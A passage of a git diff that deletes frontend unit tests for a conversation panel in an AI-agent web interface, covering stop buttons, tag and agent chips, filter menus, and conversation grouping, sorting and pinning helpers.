).toBeInTheDocument(); - }); - - const statusTable: [ExecutionStatus, boolean][] = [ - [ExecutionStatus.RUNNING, true], - [ExecutionStatus.IDLE, true], - [ExecutionStatus.FINISHED, true], - [ExecutionStatus.WAITING_FOR_CONFIRMATION, true], - [ExecutionStatus.ERROR, false], - [ExecutionStatus.STUCK, false], - [ExecutionStatus.PAUSED, false], - ]; - - it.each(statusTable)( - "should toggle stop button visibility correctly for execution status", - (executionStatus, shouldShow) => { - renderWithProviders( - , - ); - - const stopButton = screen.queryByTestId("stop-button"); - - if (shouldShow) { - expect(stopButton).toBeInTheDocument(); - } else { - expect(stopButton).not.toBeInTheDocument(); - } - }, - ); - - describe("stop button label by active backend", () => { - const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", - }; - - afterEach(() => { - __resetActiveStoreForTests(); - }); - - it("uses COMMON$STOP_CONVERSATION on a local backend", () => { - // Default active backend (no provider, no registered backends) is the - // bundled local backend. - renderWithProviders( - , - ); - - expect(screen.getByTestId("stop-button")).toHaveTextContent( - "COMMON$STOP_CONVERSATION", - ); - }); - - it("uses COMMON$CLOSE_CONVERSATION_STOP_RUNTIME on a cloud backend", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - - renderWithProviders( - - - , - ); - - expect(screen.getByTestId("stop-button")).toHaveTextContent( - "COMMON$CLOSE_CONVERSATION_STOP_RUNTIME", - ); - }); - }); - - describe("Tag chips", () => { - // Tag chips surface the agent-server's server-side conversation tags - // (e.g. ``origin=slack`` stamped by an automation) and are gated by the - // conversation panel's "Tags" toggle (``showTags``). - it("renders non-reserved tags as key: value chips when showTags is on", () => { - renderWithProviders( - , - ); - - const chips = screen.getAllByTestId("conversation-card-tag-chip"); - // Chips are sorted by key ("origin" < "owner") for a stable order. - expect(chips).toHaveLength(2); - expect(chips[0]).toHaveTextContent("origin: slack"); - expect(chips[1]).toHaveTextContent("owner: alice"); - }); - - it("filters reserved tag keys out of the chip row", () => { - // ``acpserver`` is Canvas-internal routing state already surfaced via - // the agent chip — it must not double-render as a generic tag chip. - renderWithProviders( - , - ); - - const chips = screen.getAllByTestId("conversation-card-tag-chip"); - expect(chips).toHaveLength(1); - expect(chips[0]).toHaveTextContent("origin: review"); - }); - - it("hides the chips when showTags is omitted", () => { - renderWithProviders( - , - ); - - expect( - screen.queryByTestId("conversation-card-tag-chip"), - ).not.toBeInTheDocument(); - }); - - it("caps visible chips at the display budget with a +N overflow chip", () => { - // Tags are API-controlled with no useful size bound, so the card must - // not grow with the tag count: first MAX_VISIBLE_TAG_CHIPS sorted keys - // render as chips, the rest fold into "+N" with a tooltip listing them. - renderWithProviders( - , - ); - - const chips = screen.getAllByTestId("conversation-card-tag-chip"); - expect(chips).toHaveLength(MAX_VISIBLE_TAG_CHIPS); - expect(chips[0]).toHaveTextContent("env: prod"); - expect(chips[1]).toHaveTextContent("origin: slack"); - expect(chips[2]).toHaveTextContent("owner: alice"); - - const overflow = screen.getByTestId("conversation-card-tag-overflow"); - expect(overflow).toHaveTextContent("+2"); - // The hidden remainder stays reachable via the overflow tooltip. - expect(overflow).toHaveAttribute("title", "repo: goodday\nteam: infra"); - }); - - it("renders no overflow chip when tags fit the display budget", () => { - renderWithProviders( - , - ); - - expect( - screen.getAllByTestId("conversation-card-tag-chip"), - ).toHaveLength(3); - expect( - screen.queryByTestId("conversation-card-tag-overflow"), - ).not.toBeInTheDocument(); - }); - - it("renders no chip row when every tag is reserved", () => { - renderWithProviders( - , - ); - - expect( - screen.queryByTestId("conversation-card-tag-chip"), - ).not.toBeInTheDocument(); - }); - }); - - describe("Agent chip", () => { - // The agent chip is gated by the conversation panel's "Agent / model" - // toggle (``showLlmProfiles``) — one control for both ACP and OpenHands - // cards. The renders below pass ``showLlmProfiles`` to exercise the chip; - // the omitted-prop fallback is covered by the first two tests. - it("hides the chip when showLlmProfiles is omitted for ACP", () => { - renderWithProviders( - , - ); - - expect( - screen.queryByTestId("conversation-card-agent-chip"), - ).not.toBeInTheDocument(); - }); - - it("hides the chip when showLlmProfiles is omitted for OpenHands", () => { - renderWithProviders( - , - ); - - expect( - screen.queryByTestId("conversation-card-agent-chip"), - ).not.toBeInTheDocument(); - }); - - it("renders the brand mark + model for an ACP conversation with a model", () => { - // PR 730 wires ``current_model_name``/``current_model_id``/configured - // ``acp_model`` into ``llm_model`` on the adapter so ACP conversations - // arrive at the card with a concrete model string. With the chip toggle - // on, the chip shows the resolved Claude brand mark + that model text. - renderWithProviders( - , - ); - - const chip = screen.getByTestId("conversation-card-agent-chip"); - // A raw model string not in the registry passes through verbatim - // (label resolution for known IDs is covered by the next test). - expect(chip).toHaveTextContent("raw-model-id"); - expect(chip).toHaveAttribute("title", "Claude Code · raw-model-id"); - expect( - within(chip).getByTestId("agent-brand-icon-claude-code"), - ).toBeInTheDocument(); - }); - - it("shows the provider's picker label for a known model ID", () => { - // When ``llm_model`` is a registry-known ID, the chip renders the - // human label ("Claude Opus 4.8 (1M)") instead of the raw ID — matching - // what the Settings → Agent picker shows for the same value. - renderWithProviders( - , - ); - - const chip = screen.getByTestId("conversation-card-agent-chip"); - expect(chip).toHaveTextContent("Claude Opus 4.8 (1M)"); - expect(chip).toHaveAttribute( - "title", - "Claude Code · Claude Opus 4.8 (1M)", - ); - }); - - it("falls back to the provider display name for an ACP conversation with no model", () => { - // No ``llm_model`` (older agent-server, no SDK runtime fields, no - // configured ``acp_model``) — the chip still renders for identity, with - // the provider name as the text and the brand mark as the icon. - renderWithProviders( - , - ); - - const chip = screen.getByTestId("conversation-card-agent-chip"); - expect(chip).toHaveTextContent("Claude Code"); - expect(chip).toHaveAttribute("title", "Claude Code"); - expect( - within(chip).getByTestId("agent-brand-icon-claude-code"), - ).toBeInTheDocument(); - }); - - it("falls back to the generic terminal glyph when the server key is unknown", () => { - // ``custom`` (and any future ACP server Canvas doesn't know yet) maps - // to the fallback ``cli-generic`` icon and the generic "ACP" label. - renderWithProviders( - , - ); - - const chip = screen.getByTestId("conversation-card-agent-chip"); - expect(chip).toHaveTextContent("ACP"); - expect( - within(chip).getByTestId("agent-brand-icon-generic"), - ).toBeInTheDocument(); - }); - - it("falls back to the generic terminal glyph when the server key is null", () => { - // ACP conversations missing the ``acpserver`` tag (older clients, - // raw API writes) still get a chip — identity first, exact provider - // second. - renderWithProviders( - , - ); - - const chip = screen.getByTestId("conversation-card-agent-chip"); - expect(chip).toHaveTextContent("ACP"); - expect( - within(chip).getByTestId("agent-brand-icon-generic"), - ).toBeInTheDocument(); - }); - - it("renders the OpenHands logo + model name for native conversations", () => { - // With the chip toggle on, OpenHands native conversations show the - // OpenHands logo + the raw ``agent.llm.model`` string. A stray - // ``acp_server`` value on an OpenHands card must not flip the icon to - // the Claude/Codex/Gemini brand mark. - renderWithProviders( - , - ); - - const chip = screen.getByTestId("conversation-card-agent-chip"); - expect(chip).toHaveTextContent("claude-sonnet-4"); - expect(chip).toHaveAttribute("title", "claude-sonnet-4"); - expect( - within(chip).getByTestId("agent-brand-icon-openhands"), - ).toBeInTheDocument(); - expect( - within(chip).queryByTestId("agent-brand-icon-claude-code"), - ).not.toBeInTheDocument(); - }); - - it("hides the chip for OpenHands conversations with no model", () => { - // Toggle on, but no model string and no ACP server — nothing to - // display, so the chip collapses rather than showing a bare logo. - renderWithProviders( - , - ); - - expect( - screen.queryByTestId("conversation-card-agent-chip"), - ).not.toBeInTheDocument(); - }); - }); - - it("calls onTogglePin when the pin button is clicked", async () => { - const onTogglePin = vi.fn(); - const user = userEvent.setup(); - - renderWithProviders( - , - ); - - const card = screen.getByTestId("conversation-card"); - await user.hover(card); - await user.click( - screen.getByTestId("conversation-pin-toggle-conversation-1"), - ); - expect(onTogglePin).toHaveBeenCalledTimes(1); - }); - - it("keeps the pin icon visible without hover when alwaysShowPinIcon is set", () => { - renderWithProviders( - , - ); - - expect( - screen.getByTestId("conversation-pin-toggle-conversation-1"), - ).toBeVisible(); - expect(screen.getByRole("time")).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/conversation-panel-filter-menu.test.tsx b/__tests__/components/features/conversation-panel/conversation-panel-filter-menu.test.tsx deleted file mode 100644 index 37c2caaff..000000000 --- a/__tests__/components/features/conversation-panel/conversation-panel-filter-menu.test.tsx +++ /dev/null @@ -1,83 +0,0 @@ -import { createRef } from "react"; -import { render, screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { describe, it, expect, vi } from "vitest"; - -import { - ConversationPanelFilterMenu, - type ConversationPanelFilterMenuProps, -} from "#/components/features/conversation-panel/conversation-panel-filter-menu"; - -// ConversationPanelFilterMenu composes the extracted MenuHeading / MenuRow / -// MenuSeparator components. Rendering it open exercises all three through -// their real consumer, so these tests double as the regression guard for the -// extraction. -function renderFilterMenu( - overrides: Partial = {}, -) { - const props: ConversationPanelFilterMenuProps = { - filterMenuOpen: true, - setFilterMenuOpen: vi.fn(), - menuRef: createRef(), - backendKind: "local", - organizeMode: "grouped", - setOrganizeMode: vi.fn(), - conversationSort: "created", - setConversationSort: vi.fn(), - threadScope: "all", - setThreadScope: vi.fn(), - showOlderConversations: false, - toggleShowOlderConversations: vi.fn(), - showRepoBranchMetadata: false, - toggleShowRepoBranchMetadata: vi.fn(), - showLlmProfiles: false, - toggleShowLlmProfiles: vi.fn(), - showTagsMetadata: false, - toggleShowTagsMetadata: vi.fn(), - showHoverMetadata: false, - toggleShowHoverMetadata: vi.fn(), - totalConversationsCount: 5, - onRequestDeleteAll: vi.fn(), - ...overrides, - }; - render(); - return props; -} - -describe("ConversationPanelFilterMenu", () => { - it("renders the section headings and rows while open", () => { - // Arrange + Act - renderFilterMenu({ filterMenuOpen: true }); - - // Assert: a MenuHeading and representative MenuRows are present. - expect( - screen.getByTestId("older-conversations-filter-menu"), - ).toBeInTheDocument(); - expect(screen.getByText("CONVERSATION_PANEL$ORGANIZE")).toBeInTheDocument(); - expect( - screen.getByTestId("toggle-older-conversations"), - ).toBeInTheDocument(); - expect(screen.getByTestId("delete-all-conversations")).toBeInTheDocument(); - }); - - it("runs a row's action and closes the menu when the row is clicked", async () => { - // Arrange - const user = userEvent.setup(); - const props = renderFilterMenu({ filterMenuOpen: true }); - - // Act - await user.click(screen.getByTestId("toggle-llm-profiles")); - - // Assert - expect(props.toggleShowLlmProfiles).toHaveBeenCalledTimes(1); - expect(props.setFilterMenuOpen).toHaveBeenCalledWith(false); - }); - - it("disables the delete-all row when there are no conversations", () => { - // Arrange + Act - renderFilterMenu({ filterMenuOpen: true, totalConversationsCount: 0 }); - - // Assert - expect(screen.getByTestId("delete-all-conversations")).toBeDisabled(); - }); -}); diff --git a/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts b/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts deleted file mode 100644 index 3526f7a08..000000000 --- a/__tests__/components/features/conversation-panel/conversation-panel-list-helpers.test.ts +++ /dev/null @@ -1,417 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - applyGroupFolderOrder, - getGroupConversationPreview, - groupConversations, - GROUP_CONVERSATIONS_PREVIEW_LIMIT, - parseConversationTimeMs, - moveGroupFolderOrder, - resolvePinnedConversations, - sortConversationsByField, -} from "#/components/features/conversation-panel/conversation-panel-list-helpers"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { ExecutionStatus } from "#/types/agent-server/core"; - -const base: Omit = { - selected_repository: null, - selected_branch: null, - git_provider: null, - updated_at: "2024-01-02T00:00:00.000Z", - created_at: "2024-01-01T00:00:00.000Z", - execution_status: ExecutionStatus.FINISHED, - conversation_url: null, - created_by_user_id: null, - metrics: null, - llm_model: null, - trigger: null, - pr_number: [], - session_api_key: null, - sandbox_id: null, - sub_conversation_ids: [], -}; - -describe("conversation-panel-list-helpers", () => { - it("parseConversationTimeMs returns 0 for missing or unparseable timestamps and ms for ISO strings", () => { - // Three branches in one assertion: missing input (undefined), malformed - // string (NaN from Date.parse), and a real ISO timestamp. - expect([ - parseConversationTimeMs(undefined), - parseConversationTimeMs("not-a-date"), - parseConversationTimeMs("2024-01-02T00:00:00.000Z"), - ]).toEqual([0, 0, Date.UTC(2024, 0, 2)]); - }); - - it("sorts by updated desc", () => { - const a: AppConversation = { - ...base, - id: "a", - title: "a", - updated_at: "2024-01-01T00:00:00.000Z", - created_at: "2024-01-01T00:00:00.000Z", - }; - const b: AppConversation = { - ...base, - id: "b", - title: "b", - updated_at: "2024-01-03T00:00:00.000Z", - created_at: "2024-01-01T00:00:00.000Z", - }; - expect( - sortConversationsByField([a, b], "updated").map((c) => c.id), - ).toEqual(["b", "a"]); - }); - - it("sorts by created desc independently of updated", () => { - // Inverted: the newer `created_at` belongs to the older `updated_at`, - // so a "created" sort must NOT fall through to `updated_at`. - const a: AppConversation = { - ...base, - id: "a", - title: "a", - created_at: "2024-01-05T00:00:00.000Z", - updated_at: "2024-01-01T00:00:00.000Z", - }; - const b: AppConversation = { - ...base, - id: "b", - title: "b", - created_at: "2024-01-02T00:00:00.000Z", - updated_at: "2024-01-10T00:00:00.000Z", - }; - expect( - sortConversationsByField([b, a], "created").map((c) => c.id), - ).toEqual(["a", "b"]); - }); - - it("normalizes group keys and labels across edge-case inputs", () => { - // Bundles edge cases the implementation must handle into one assertion - // so each is covered without proliferating tests: - // - workspace paths with trailing slashes are normalized - // - whitespace-only `selected_workspace` falls back to "No workspace" - // - root-only paths ("/", "///") trim+strip to "" and bucket to the - // "no workspace" / "no repository" fallback instead of producing - // stray `ws:` / `repo:/` groups - // - repository paths ignore trailing slashes (so `org/repo` and - // `org/repo/` collapse into the same group) - // - repository names ending in `.git` strip the suffix in the label - // - missing/invalid timestamps don't break group ordering (they sort - // to the bottom rather than throwing) - const trailingSlash: AppConversation = { - ...base, - id: "ws-trailing", - title: "ws-trailing", - selected_workspace: "/workspace/agent-server-gui///", - updated_at: "2024-01-04T00:00:00.000Z", - }; - const whitespaceOnly: AppConversation = { - ...base, - id: "ws-blank", - title: "ws-blank", - selected_workspace: " ", - updated_at: "2024-01-02T00:00:00.000Z", - }; - const rootOnly: AppConversation = { - ...base, - id: "ws-root", - title: "ws-root", - selected_workspace: "/", - updated_at: "2024-01-03T00:00:00.000Z", - }; - const localGroups = groupConversations( - [trailingSlash, whitespaceOnly, rootOnly], - "local", - "updated", - { emptyWorkspace: "No workspace", emptyRepository: "No repository" }, - ); - expect( - localGroups.map((g) => ({ - id: g.id, - label: g.label, - ids: g.conversations.map((c) => c.id), - })), - ).toEqual([ - { - id: "ws:/workspace/agent-server-gui", - label: "agent-server-gui", - ids: ["ws-trailing"], - }, - // Both whitespace-only and "/" collapse into the same fallback - // bucket — ordered by updated_at desc within the group. - { - id: "__none_workspace", - label: "No workspace", - ids: ["ws-root", "ws-blank"], - }, - ]); - - const dotGit: AppConversation = { - ...base, - id: "repo-git", - title: "repo-git", - selected_repository: "org/canvas.git", - // Unparseable timestamp — must not throw; falls to 0 ms and sorts last. - updated_at: "not-a-date", - }; - const repoTrailingSlash: AppConversation = { - ...base, - id: "repo-slash", - title: "repo-slash", - // Same logical repo as `dotGit` would be without `.git`; with the - // trailing-slash normalization both forms must collapse together - // when they share the same path. - selected_repository: "org/sdk/", - updated_at: "2024-01-05T00:00:00.000Z", - }; - const repoNoSlash: AppConversation = { - ...base, - id: "repo-noslash", - title: "repo-noslash", - selected_repository: "org/sdk", - updated_at: "2024-01-06T00:00:00.000Z", - }; - const blankRepo: AppConversation = { - ...base, - id: "repo-blank", - title: "repo-blank", - selected_repository: " ", - updated_at: "2024-01-04T00:00:00.000Z", - }; - const rootRepo: AppConversation = { - ...base, - id: "repo-root", - title: "repo-root", - selected_repository: "/", - updated_at: "2024-01-03T00:00:00.000Z", - }; - const cloudGroups = groupConversations( - [dotGit, repoTrailingSlash, repoNoSlash, blankRepo, rootRepo], - "cloud", - "updated", - { emptyWorkspace: "No workspace", emptyRepository: "No repository" }, - ); - expect( - cloudGroups.map((g) => ({ - id: g.id, - label: g.label, - ids: g.conversations.map((c) => c.id), - })), - ).toEqual([ - // `org/sdk` and `org/sdk/` collapse to one group. - { - id: "repo:org/sdk", - label: "sdk", - ids: ["repo-noslash", "repo-slash"], - }, - // Whitespace and "/" both bucket into the empty-repo fallback, - // sorted by updated_at desc within the group. - { - id: "__none_repo", - label: "No repository", - ids: ["repo-blank", "repo-root"], - }, - { - id: "repo:org/canvas.git", - label: "canvas", - ids: ["repo-git"], - }, - ]); - }); - - it("limits grouped folder previews to five conversations with an expand path", () => { - const conversations = Array.from({ length: 6 }, (_, index) => ({ - ...base, - id: `c-${index}`, - title: `Conversation ${index}`, - updated_at: `2024-01-0${index + 1}T00:00:00.000Z`, - })); - - const truncated = getGroupConversationPreview(conversations, { - expanded: false, - }); - expect(truncated.visibleConversations.map((c) => c.id)).toEqual([ - "c-0", - "c-1", - "c-2", - "c-3", - "c-4", - ]); - expect(truncated.isPreviewTruncated).toBe(true); - expect(truncated.isShowingAll).toBe(false); - - const expanded = getGroupConversationPreview(conversations, { - expanded: true, - }); - expect(expanded.visibleConversations).toHaveLength(6); - expect(expanded.isPreviewTruncated).toBe(true); - expect(expanded.isShowingAll).toBe(true); - - const withActiveBeyondPreview = getGroupConversationPreview(conversations, { - expanded: false, - activeConversationId: "c-5", - }); - expect( - withActiveBeyondPreview.visibleConversations.map((c) => c.id), - ).toEqual(["c-0", "c-1", "c-2", "c-3", "c-5"]); - expect(GROUP_CONVERSATIONS_PREVIEW_LIMIT).toBe(5); - }); - - it("resolvePinnedConversations preserves pin order and drops missing ids", () => { - const conversations = [ - { ...base, id: "a", title: "A" }, - { ...base, id: "b", title: "B" }, - { ...base, id: "c", title: "C" }, - ] as AppConversation[]; - - expect( - resolvePinnedConversations(["c", "missing", "a"], conversations).map( - (conversation) => conversation.id, - ), - ).toEqual(["c", "a"]); - }); - - it("groups local conversations by selected_workspace, collapsing per-conversation worktree paths", () => { - // Two worktree-mode conversations launched against the same workspace must - // end up in a single group keyed off the user-selected workspace, not split - // by the runtime worktree dir. - const sameWsA: AppConversation = { - ...base, - id: "1", - title: "one", - selected_workspace: "/workspace/agent-server-gui", - workspace: { working_dir: "/workspace/agent-server-gui/wt-abc" }, - updated_at: "2024-01-02T00:00:00.000Z", - }; - const sameWsB: AppConversation = { - ...base, - id: "2", - title: "two", - selected_workspace: "/workspace/agent-server-gui", - workspace: { working_dir: "/workspace/agent-server-gui/wt-def" }, - updated_at: "2024-01-04T00:00:00.000Z", - }; - // Different workspace — its own group. - const otherWs: AppConversation = { - ...base, - id: "3", - title: "three", - selected_workspace: "/workspace/other", - workspace: { working_dir: "/workspace/other/wt-xyz" }, - updated_at: "2024-01-03T00:00:00.000Z", - }; - // No user-selected workspace — must bucket under "No workspace" - // even though working_dir is set (to a per-conversation default). - const none: AppConversation = { - ...base, - id: "4", - title: "four", - selected_workspace: null, - workspace: { working_dir: "/workspace/project/agent-canvas/wt-noop" }, - updated_at: "2024-01-01T00:00:00.000Z", - }; - - const groups = groupConversations( - [sameWsA, sameWsB, otherWs, none], - "local", - "updated", - { emptyWorkspace: "No workspace", emptyRepository: "No repository" }, - ); - - expect( - groups.map((g) => ({ - id: g.id, - label: g.label, - ids: g.conversations.map((c) => c.id), - launch: g.launch, - })), - ).toEqual([ - { - id: "ws:/workspace/agent-server-gui", - label: "agent-server-gui", - ids: ["2", "1"], - launch: { workingDir: "/workspace/agent-server-gui" }, - }, - { - id: "ws:/workspace/other", - label: "other", - ids: ["3"], - launch: { workingDir: "/workspace/other" }, - }, - { - id: "__none_workspace", - label: "No workspace", - ids: ["4"], - launch: {}, - }, - ]); - }); - - it("groups cloud conversations by repository string", () => { - const r1: AppConversation = { - ...base, - id: "1", - title: "one", - selected_repository: "org/agent-canvas", - updated_at: "2024-01-02T00:00:00.000Z", - }; - const r2: AppConversation = { - ...base, - id: "2", - title: "two", - selected_repository: "org/sdk", - updated_at: "2024-01-03T00:00:00.000Z", - }; - - const groups = groupConversations([r1, r2], "cloud", "updated", { - emptyWorkspace: "No workspace", - emptyRepository: "No repository", - }); - - expect(groups.map((g) => g.label)).toEqual(["sdk", "agent-canvas"]); - expect(groups[0].launch).toEqual({ - repository: { - name: "org/sdk", - gitProvider: "github", - branch: "main", - }, - }); - expect(groups[1].launch).toEqual({ - repository: { - name: "org/agent-canvas", - gitProvider: "github", - branch: "main", - }, - }); - }); - - it("applies a persisted folder order and moves folders via drag-and-drop", () => { - const groups = [ - { id: "ws:/workspace/alpha", label: "alpha" }, - { id: "ws:/workspace/beta", label: "beta" }, - { id: "ws:/workspace/gamma", label: "gamma" }, - ]; - - expect( - applyGroupFolderOrder(groups, [ - "ws:/workspace/gamma", - "ws:/workspace/alpha", - ]).map((group) => group.id), - ).toEqual([ - "ws:/workspace/gamma", - "ws:/workspace/alpha", - "ws:/workspace/beta", - ]); - - expect( - moveGroupFolderOrder( - ["ws:/workspace/gamma", "ws:/workspace/alpha"], - groups.map((group) => group.id), - "ws:/workspace/alpha", - "ws:/workspace/beta", - ), - ).toEqual([ - "ws:/workspace/gamma", - "ws:/workspace/beta", - "ws:/workspace/alpha", - ]); - }); -}); diff --git a/__tests__/components/features/conversation-panel/conversation-panel.test.tsx b/__tests__/components/features/conversation-panel/conversation-panel.test.tsx deleted file mode 100644 index a7fef6733..000000000 --- a/__tests__/components/features/conversation-panel/conversation-panel.test.tsx +++ /dev/null @@ -1,1903 +0,0 @@ -import { act, fireEvent, render, screen, waitFor, within } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { I18nextProvider } from "react-i18next"; -import i18n from "i18next"; -import { NavigationProvider } from "#/context/navigation-context"; -import { - afterEach, - beforeAll, - beforeEach, - describe, - expect, - it, - vi, -} from "vitest"; -import userEvent from "@testing-library/user-event"; -import { createRoutesStub } from "react-router"; -import React from "react"; -import { renderWithProviders } from "test-utils"; -import { ConversationPanel } from "#/components/features/conversation-panel/conversation-panel"; -import { useConversationPanelPreferencesStore } from "#/stores/conversation-panel-preferences-store"; -import { usePinnedConversationsStore } from "#/stores/pinned-conversations-store"; -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; -import { ExecutionStatus } from "#/types/agent-server/core"; -import { displayErrorToast } from "#/utils/custom-toast-handlers"; - -// Mock the unified stop conversation hook -const mockStopConversationMutate = vi.fn(); -vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({ - useUnifiedPauseConversation: () => ({ - mutate: mockStopConversationMutate, - }), -})); - -// Helper to create complete AppConversation mock data -// Default timestamps use "now" so conversations are considered recent and -// rendered eagerly by the panel. Each call produces a timestamp 1 s older -// than the previous one so that the sort-by-updated_at order matches the -// array insertion order (first created → newest → cards[0]). -let _mockConversationCounter = 0; -const createMockConversation = ( - overrides: Partial = {}, -): AppConversation => { - const ts = new Date( - Date.now() - _mockConversationCounter++ * 1000, - ).toISOString(); - return { - id: "test-id", - title: "Test Conversation", - selected_repository: null, - git_provider: null, - selected_branch: null, - updated_at: ts, - created_at: ts, - execution_status: ExecutionStatus.FINISHED, - conversation_url: null, - created_by_user_id: "user1", - metrics: null, - llm_model: null, - trigger: null, - pr_number: [], - session_api_key: null, - sandbox_id: null, - sub_conversation_ids: [], - ...overrides, - }; -}; - -// Mock toast handlers to prevent unhandled rejection errors -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), - TOAST_OPTIONS: {}, -})); - -describe("ConversationPanel", () => { - const onCloseMock = vi.fn(); - const RouterStub = createRoutesStub([ - { - Component: () => , - path: "/", - }, - { - // Add route to prevent "No routes matched location" warning - Component: () => null, - path: "/conversations/:conversationId", - }, - ]); - - const renderConversationPanel = ( - options?: Parameters[1], - ) => renderWithProviders(, options); - - beforeAll(() => { - vi.mock("react-router", async (importOriginal) => ({ - ...(await importOriginal()), - Link: ({ children }: React.PropsWithChildren) => children, - useNavigate: vi.fn(() => vi.fn()), - useLocation: vi.fn(() => ({ pathname: "/conversation" })), - useParams: vi.fn(() => ({ conversationId: "2" })), - })); - }); - - const mockConversations: AppConversation[] = [ - createMockConversation({ id: "1", title: "Conversation 1" }), - createMockConversation({ id: "2", title: "Conversation 2" }), - createMockConversation({ id: "3", title: "Conversation 3" }), - ]; - - beforeEach(() => { - vi.clearAllMocks(); - mockStopConversationMutate.mockClear(); - _mockConversationCounter = 0; - usePinnedConversationsStore.setState({ pinsByBackendId: {} }); - // Setup default mock for searchConversations - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [...mockConversations], - next_page_id: null, - }); - }); - - afterEach(() => { - vi.useRealTimers(); - }); - - it("should render the conversations", async () => { - renderConversationPanel(); - const cards = await screen.findAllByTestId("conversation-card"); - - // NOTE that we filter out conversations that don't have a created_at property - // (mock data has 4 conversations, but only 3 have a created_at property) - expect(cards).toHaveLength(3); - }); - - it("should display an empty state when there are no conversations", async () => { - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockResolvedValue({ - items: [], - next_page_id: null, - }); - - renderConversationPanel(); - - const emptyState = await screen.findByText("CONVERSATION$NO_CONVERSATIONS"); - expect(emptyState).toBeInTheDocument(); - }); - - it("does not show load more when the visible list is empty even if another page exists", async () => { - vi.spyOn(AgentServerConversationService, "searchConversations").mockResolvedValue({ - items: [], - next_page_id: "page-2", - }); - - renderConversationPanel(); - - await screen.findByText("CONVERSATION$NO_CONVERSATIONS"); - expect( - screen.queryByTestId("load-more-conversations"), - ).not.toBeInTheDocument(); - }); - - it("does not flash the loading skeleton during a background refetch when the list is empty", async () => { - // Arrange: first call (initial load) resolves with an empty list. - // Second call (the background refetch) is kept in-flight so we can - // observe the UI while `isFetching` is true — the exact window in - // which the buggy `isFetching`-gated code flashed the skeleton. - let resolveRefetch: - | ((value: { items: AppConversation[]; next_page_id: null }) => void) - | undefined; - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy - .mockResolvedValueOnce({ items: [], next_page_id: null }) - .mockImplementationOnce( - () => - new Promise((resolve) => { - resolveRefetch = resolve; - }), - ); - - // Use a QueryClient we can reach so we can trigger the background - // refetch directly. This drives the same code path as the hook's 10s - // `refetchInterval` (both flip `isFetching` to true while existing - // data stays in the cache) without paying the cost of fake-timer - // gymnastics around React Query's async state machine. - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - const PanelRouterStub = createRoutesStub([ - { - Component: () => , - path: "/", - }, - { - Component: () => null, - path: "/conversations/:conversationId", - }, - ]); - render( - - - - - - - , - ); - - // Wait for the initial fetch to settle into the empty state. - expect( - await screen.findByText("CONVERSATION$NO_CONVERSATIONS"), - ).toBeInTheDocument(); - - // Act: trigger a background refetch directly on the cached query. - // This drives the same code path as the hook's 10s `refetchInterval` - // (both flip `isFetching` to true while the cached data stays - // intact). The second mock holds the request in-flight so the - // in-flight UI is observable. We fire-and-forget the fetch because - // awaiting it would hang on the held promise. - const conversationsQuery = queryClient - .getQueryCache() - .getAll() - .find( - (query) => - query.queryKey[0] === "user" && query.queryKey[1] === "conversations", - ); - if (!conversationsQuery) { - throw new Error("conversations query was not registered"); - } - await act(async () => { - void conversationsQuery.fetch(); - // Yield once so React Query can dispatch the in-flight state. - await Promise.resolve(); - }); - - // Assert: the background refetch fired, but the skeleton did not - // flicker back in. - await waitFor(() => { - expect(searchConversationsSpy).toHaveBeenCalledTimes(2); - }); - expect( - screen.queryByTestId("conversation-card-skeleton"), - ).not.toBeInTheDocument(); - - // Settle the in-flight refetch so React Query can clean up. - resolveRefetch?.({ items: [], next_page_id: null }); - }); - - it("should not display the empty state when there are no conversations and the panel is compact", async () => { - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockResolvedValue({ - items: [], - next_page_id: null, - }); - - const CompactRouterStub = createRoutesStub([ - { - Component: () => , - path: "/", - }, - { - Component: () => null, - path: "/conversations/:conversationId", - }, - ]); - - renderWithProviders(); - - await waitFor(() => { - expect( - screen.queryByTestId("conversation-card-skeleton-compact"), - ).not.toBeInTheDocument(); - }); - - expect( - screen.queryByText("CONVERSATION$NO_CONVERSATIONS"), - ).not.toBeInTheDocument(); - }); - - it("hides closed conversations in compact mode", async () => { - vi.spyOn( - AgentServerConversationService, - "searchConversations", - ).mockResolvedValue({ - items: [ - createMockConversation({ - id: "running", - title: "Running Conversation", - execution_status: ExecutionStatus.RUNNING, - }), - createMockConversation({ - id: "closed", - title: "Closed Conversation", - execution_status: ExecutionStatus.PAUSED, - }), - ], - next_page_id: null, - }); - - const CompactRouterStub = createRoutesStub([ - { - Component: () => , - path: "/", - }, - { - Component: () => null, - path: "/conversations/:conversationId", - }, - ]); - - renderWithProviders(); - - expect( - await screen.findByLabelText("Running Conversation"), - ).toBeInTheDocument(); - expect( - screen.queryByLabelText("Closed Conversation"), - ).not.toBeInTheDocument(); - }); - - it("should not render fetch errors in the conversation panel", async () => { - const searchConversationsSpy = vi.spyOn( - AgentServerConversationService, - "searchConversations", - ); - searchConversationsSpy.mockRejectedValue( - new Error("Failed to fetch conversations"), - ); - - renderConversationPanel(); - - await waitFor(() => { - expect( - screen.queryByText("Failed to fetch conversations"), - ).not.toBeInTheDocument(); - }); - }); - - it("should cancel deleting a conversation", async () => { - const user = userEvent.setup(); - renderConversationPanel(); - - let cards = await screen.findAllByTestId("conversation-card"); - // Closed state is observable via the data-context-menu-open attr on the - // conversation-card root; visual hiding is covered by 